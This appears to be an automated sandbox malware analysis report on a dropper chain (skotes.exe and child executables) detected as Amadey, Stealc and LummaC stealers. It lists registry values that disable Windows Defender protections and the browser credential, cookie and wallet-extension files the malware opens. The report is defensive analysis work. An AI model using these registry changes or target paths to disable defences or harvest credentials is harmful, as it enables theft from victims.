Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000001A.00000002.2879002591.00000090E59FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0002D3E2 cpuid

6_2_0002D3E2

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0002CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0002CBEA

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 22a4a09ee3.exe, 00000009.00000003.2725882305.000000000113E000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2920073610.00000000015F4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1743497306.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1729066323.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2297023080.0000000004800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1732120363.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1772246727.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1769268750.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9108c36d20.exe PID: 3260, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 22a4a09ee3.exe, 00000009.00000003.2614298765.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum$
Source: 22a4a09ee3.exe, 00000009.00000003.2614298765.0000000001132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 22a4a09ee3.exe, 0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971
Source: 22a4a09ee3.exe	String found in binary or memory: ExodusWeb3
Source: 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ms\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m]
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 22a4a09ee3.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
